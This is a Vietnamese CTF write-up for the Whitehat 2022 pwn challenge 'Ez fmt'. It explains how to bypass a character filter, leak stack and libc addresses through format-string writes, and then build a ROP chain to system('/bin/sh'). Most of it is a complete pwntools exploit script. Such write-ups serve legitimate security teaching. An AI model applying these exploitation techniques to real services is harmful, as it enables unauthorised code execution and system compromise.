[Whitehat CTF 2022 - Pwn] Ez fmt

Cũng lâu rồi chưa viết Write-up, tại vừa rồi mình có tham gia giải Whitehat tổ chức, làm được câu pwn6 nên có mấy đứa em hỏi mình qua Discord, bài này cũng khá hay nên tiện mình viết Writeup luôn.

Không tào lao nữa, checksec em nó xem:

#include <stdio.h>

int restricted_filter(char *str) {
size_t sVar1;
int i;

i = 0;
while (sVar1 = strlen(str), (ulong)(long)i < sVar1) {
switch (str[i])
{
case 'A':
case 'E':
case 'F':
case 'G':
case 'X':
case 'a':
case 'd':
case 'e':
case 'f':
case 'g':
case 'i':
case 'o':
case 'p':
case 's':
case 'u':
case 'x':
puts("Invalid character :TT");
return -1;
default:
i = i + 1;
}
}
return 1;
}

void main(void) {
int iVar1;
EVP_PKEY_CTX *in_RDI;
char buf[80];

init(in_RDI);
puts("Welcome to My Echo Service :##");
while (true) {
fgets(buf, 0x50, stdin);
iVar1 = restricted_filter(buf);
if (iVar1 == -1)
break;
printf(buf);
}
exit(1);
}


Code của em nó đây, ok format string nhưng payload bị giới hạn. Nhìn qua hàm restricted_filter thì nó vẫn nhả cho mình '%n', '%hn', '%hhn', '%c'

* Bước 1: Leak địa chỉ stack


Đây là stack, mọi người để ý địa chỉ 0x7fff651a8ba8, 0x7fff651a8c20, 0x7fff651a8c28. Tại đó đang lưu một con trỏ trỏ tới stack là 0x00007fff651a8c88, 0x00007fff651a8c98. Tại vị trí mà con trỏ trỏ tới cũng là một con trỏ trỏ tới stack là 0x00007fff651aa08a, 0x00007fff651aa09b. Đây là các con trỏ liên quan tới biến môi trường nên lúc nào cũng có và luôn cách rbp của main 1 khoảng cố định. Ta có thể lợi dụng tính chất con trỏ stack trỏ tới con trỏ stack của nó để viết payload format string mà ko cần biết địa chỉ sack.

Dùng đoạn payload '%21$c' để leak byte cuối của 0x00007fff651a8c88. Chúng ta sẽ dùng mẹo này để leak byte thứ 2
guess_two_byte = 0

for i in range(0, 0x100, 3):
log.info('Count: %#x' % i)
guess_two_byte = last_byte + 0x300 * i
payload = f'%{guess_two_byte+0x20}c%21$hnmmm'.encode()
r.sendline(payload)

Câu lệnh trên ghi 4 bytes giá trị của guess_two_byte+0x20 lên địa chỉ 0x00007fff651a8c88. Giá trị ban đầu là 0x00007fff651aa08a sẽ bị ghi đè 4 byte trở thành 0x00007fff651axxxx.
payload = '%49c%49$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)

r.sendlineafter(b'mmm\n', b'%10$c%42$c%74$cmmm')
recv = r.recvuntil(b'mmm\n')

Tiếp theo là ghi số 0x31 (cái này chỉ là dấu hiệu thôi) vào 0x00007fff651axxxx và kiểm tra xem các ô nhớ tại vị trí 10, 42, 74 có số 0x31 không, nêu không tức là ta ghi đè chưa đến đúng chỗ, cần tăng giá trị của guess_two_byte và lặp lại bước trên, ngược lại thì ta đã đoán thành công:
if recv[0] == 49:
break

if recv[1] == 49:
guess_two_byte -= 0x100
break

if recv[2] == 49:
guess_two_byte -= 0x200
break

log.info('Guess: %#x' % guess_two_byte)
payload = f'%{guess_two_byte-8}c%21$hnmmm'.encode()

Biết được 4 bytes cuối của địa chỉ trỏ tới input của mình, tiếp theo ta sẽ dùng kỹ thuật quen thuộc là thay đổi địa chỉ trả về của hàm printf để nó return về phía sau hàm restrict để hàm restrict không được gọi. Ta phải setup một cái payload sao cho thay đổi địa chỉ trả về của printf đồng thời với việc ghi chữ '%p' đè lên payload cũ. Như thế chữ '%p' sẽ được thực hiện.
log.info('Guess: %#x' % guess_two_byte)
payload = f'%{guess_two_byte-8}c%21$hnmmm'.encode()
r.sendline(payload)

payload = f'%{guess_two_byte+8}c%37$hnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)

val = int.from_bytes(b'p', 'little') - 0x45
payload = f'%{0x45}c%49$hhn%{val}c%51$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'mmm\n')
r.recv(0x45)

stack = int(r.recv(14), 16) + 8
log.success('Stack: %#x' % stack)

Ok bây giờ ta có địa chỉ stack rồi thì cuộc đời cũng dễ thở hơn, chúng ta leak Libc base bằng kỹ thuật tương tư vừa nãy
payload = f'%{guess_two_byte+6}c%37$hnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)

val = int.from_bytes(b'9$p', 'little') - 0x45
payload = f'%{0x45}c%10$hhn%{val}c%51$nmmm'.encode().ljust(0x20, b'\0') + \
        p64(stack-8)
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'0x')

libc.address = int(r.recv(12), 16) - 0x240b3
log.success('Libc base: %#x' % libc.address)

* Bước 2; exploit
Bây giờ ta có mọi thứ ta cần rồi, tiến hành ghi một đoạn ROP system("/bin/sh") vào địa chỉ trả về của main.
def write(addr, value):
for i in range(3):
val = (value >> (16 * i)) & 0xffff
payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
r.sendlineafter(b'mmm', payload)

payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
r.sendlineafter(b'mmm', payload)

write(stack+0x68, libc.address+pop_rdi_ret)
write(stack+0x70, next(libc.search(b'/bin/sh')))
write(stack+0x78, libc.address+ret)
write(stack+0x80, libc.symbols['system'])

Sử dụng kỹ thuật thay đổi return address của printf, để nó nhảy tới đoạn ROP add rsp, 0x68; ret, lúc này rsp sẽ nhảy tới đúng đoạn ROP system("/bin/sh")
addr = libc.address + add_rsp_0x68_ret
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8) + p64(stack-6) + p64(stack-4)
r.sendlineafter(b'mmm', payload)

Đây là toàn bộ exploit
from pwn import *

r = process('./ez_fmt_patched')
# r = remote('192.81.209.60', 2022)
bin = ELF('./ez_fmt_patched')
libc = ELF('./libc.so.6')
context.clear(os='linux', arch='x86_64')#, log_level='debug')

def debug():
gdb.attach(r, '''b*main+112''')

# debug()
r.sendlineafter(b'Service :##\n', b'%21$cmmm')
last_byte = (r.recvline()[0] - 0x158) & 0xff
guess_two_byte = 0

for i in range(0, 0x100, 3):
log.info('Count: %#x' % i)
guess_two_byte = last_byte + 0x300 * i
payload = f'%{guess_two_byte+0x20}c%21$hnmmm'.encode()
r.sendline(payload)

payload = '%49c%49$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)

r.sendlineafter(b'mmm\n', b'%10$c%42$c%74$cmmm')
recv = r.recvuntil(b'mmm\n')
if recv[0] == 49:
break

if recv[1] == 49:
guess_two_byte -= 0x100
break

if recv[2] == 49:
guess_two_byte -= 0x200
break

log.info('Guess: %#x' % guess_two_byte)
payload = f'%{guess_two_byte-8}c%21$hnmmm'.encode()
r.sendline(payload)

payload = f'%{guess_two_byte+8}c%37$hnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)

val = int.from_bytes(b'p', 'little') - 0x45
payload = f'%{0x45}c%49$hhn%{val}c%51$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'mmm\n')
r.recv(0x45)

stack = int(r.recv(14), 16) + 8
log.success('Stack: %#x' % stack)

# debug()

payload = f'%{guess_two_byte+6}c%37$hnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)

val = int.from_bytes(b'9$p', 'little') - 0x45
payload = f'%{0x45}c%10$hhn%{val}c%51$nmmm'.encode().ljust(0x20, b'\0') + p64(stack-8)
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'0x')

libc.address = int(r.recv(12), 16) - 0x240b3
log.success('Libc base: %#x' % libc.address)

pop_rdi_ret = 0x0000000000023b72
ret = 0x000000000005634f
add_rsp_0x68_ret = 0x000000000010e4fc

r.sendline(b'mmm')
def write(addr, value):
for i in range(3):
val = (value >> (16 * i)) & 0xffff
payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
r.sendlineafter(b'mmm', payload)

payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
r.sendlineafter(b'mmm', payload)

write(stack+0x68, libc.address+pop_rdi_ret)
write(stack+0x70, next(libc.search(b'/bin/sh')))
write(stack+0x78, libc.address+ret)
write(stack+0x80, libc.symbols['system'])

def gen_payload(l):
payload = ''
sum = 0
value = 0
for i in l:
if i[1] == 'hhn':
if i[0] < (sum & 0xff):
value = (i[0] - (sum & 0xff)) + 0x100
else:
value = i[0] - (sum & 0xff)
elif i[1] == 'hn':
if i[0] < (sum & 0xffff):
value = (i[0] - (sum & 0xffff)) + 0x10000
else:
value = i[0] - (sum & 0xffff)
elif i[1] == 'n':
if i[0] < (sum & 0xffffffff):
value = (i[0] - (sum & 0xffffffff)) + 0x100000000
else:
value = i[0] - (sum & 0xffffffff)

sum += value
payload += f'%{value}c%{i[2]}$' + i[1]

return payload.encode()

addr = libc.address + add_rsp_0x68_ret
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8) + p64(stack-6) + p64(stack-4)
r.sendlineafter(b'mmm', payload)

r.interactive()

Thỉnh thoảng chạy thất bại nhé, mọi người chạy lại là được, các bạn truy cập vào github của mình để kiểm tra: https://github.com/Icefrog2000/Writeups/tree/main/pwn06-Ez_fmt

Nhận xét